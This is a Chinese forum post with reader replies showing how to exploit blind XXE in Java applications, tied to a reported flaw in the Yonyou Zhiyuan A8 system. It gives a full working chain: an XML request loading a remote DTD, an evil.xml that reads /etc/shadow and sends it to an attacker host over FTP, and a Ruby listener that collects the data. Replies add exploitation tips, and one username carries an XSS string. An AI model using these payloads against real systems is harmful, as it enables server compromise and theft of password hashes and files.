java环境下利用blind xxe来列目录和文件读取

看到大表哥,发了这篇洞,
WooYun: 用友致远A8协同系统XML实体注入漏洞
详情只有截图,看来只能靠自己了

采用的是利用ftp协议来进行数据传输,jdk1.6和jdk1.7均测试成功

Post 包
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://ip/evil.xml">
%remote;]>
<root/>
java环境下利用blind xxe来列目录和文件读取_第1张图片

放服务器上的Evil.xml
<!ENTITY % file SYSTEM "file:///etc/shadow">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'ftp://ip:33/%file;'>">
%int;
%send;


服务器监听,接收来自33端口的ftp信息
Ruby ftp.rb

require 'socket'
server = TCPServer.new 33
loop do
  Thread.start(server.accept) do |client|
    puts "New client connected"
    data = ""
    client.puts("220 xxe-ftp-server")
    loop {
        req = client.gets()
        puts "< "+req
        if req.include? "USER"
            client.puts("331 password please - version check")
        else
           #puts "> 230 more data please!"
            client.puts("230 more data please!")
        end
    }
  end
end


效果图
运气好直接可读shadow文件
java环境下利用blind xxe来列目录和文件读取_第2张图片
对于有< % > 的文件还是读不了。忧伤

列目录
java环境下利用blind xxe来列目录和文件读取_第3张图片

收藏 感谢(0)
分享到: 0
10 个回复
  1. 1# cf_hb (10000定律<=>实践ing) | 2016-04-17 12:11

    谢谢分享啊!!!
    这两个东西可能帮得上你,有什么收获欢迎继续分享。
    http://web-in-security.blogspot.hk/2016/03/xxe-cheat-sheet.html

    https://github.com/RUB-NDS/DTD-Attacks

  2. 2# Azui | 2016-04-17 14:31

    前几天也在研究blind xxe 还笨笨的以为利用ftp://127.0.0.1/1.jsp 可以直接下载文件。。。

  3. 3# 陆由乙 | 2016-04-17 14:41

    mark

  4. 4# 牛肉包子 (这个包子,牛肉馅。) | 2016-04-17 15:19

    Java1.6可以用ghoper协议

  5. 5# Jumbo (www.chinabaiker.com) | 2016-04-17 19:58

    顶,感谢

  6. 6# Jumbo (www.chinabaiker.com) | 2016-04-17 20:06

    列目录就是“<!ENTITY % file SYSTEM "ls"> ”吗?

  7. 7# 1c3z (你不是一个人在战斗) | 2016-04-18 10:18

    @Jumbo 不是 "/etc/" 就可以

  8. 8# 1c3z (你不是一个人在战斗) | 2016-04-18 10:18

    @cf_hb 哇,领主好

  9. 9# niexinming (///' " onblur="alert(1)) | 2016-04-18 10:41

    感谢表哥分享,虽然没怎么看懂

  10. 10#
    回复此人 感谢
    cf_hb (10000定律<=>实践ing) | 2016-04-20 09:17

    @1c3z 不是领主啊

你可能感兴趣的:(java环境下利用blind xxe来列目录和文件读取)